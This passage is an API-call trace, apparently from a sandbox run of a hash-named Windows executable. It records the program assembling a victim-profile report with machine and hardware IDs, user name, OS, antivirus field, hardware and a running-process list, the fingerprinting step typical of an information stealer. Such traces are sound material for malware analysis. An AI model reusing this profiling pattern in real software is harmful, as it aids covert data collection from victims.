csrss.exe [452]\n- winlogon.exe [504]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- "
[0054.808] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- ", lpString2="services.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe"
[0054.808] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe ["
[0054.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dae8
[0054.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.808] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.808] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.809] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.809] GetLastError () returned 0x7a
[0054.809] SetLastError (dwErrCode=0x7a)
[0054.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0054.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dae8 | out: hHeap=0x670000) returned 1
[0054.810] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [", lpString2="528" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528"
[0054.810] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n"
[0054.810] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1b8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
[0054.811] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- "
[0054.811] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- ", lpString2="lsass.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe"
[0054.811] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe ["
[0054.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.811] GetLastError () returned 0x7a
[0054.811] SetLastError (dwErrCode=0x7a)
[0054.811] GetLastError () returned 0x7a
[0054.811] SetLastError (dwErrCode=0x7a)
[0054.811] GetLastError () returned 0x7a
[0054.811] SetLastError (dwErrCode=0x7a)
[0054.811] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.812] GetLastError () returned 0x7a
[0054.812] SetLastError (dwErrCode=0x7a)
[0054.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d938 | out: hHeap=0x670000) returned 1
[0054.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
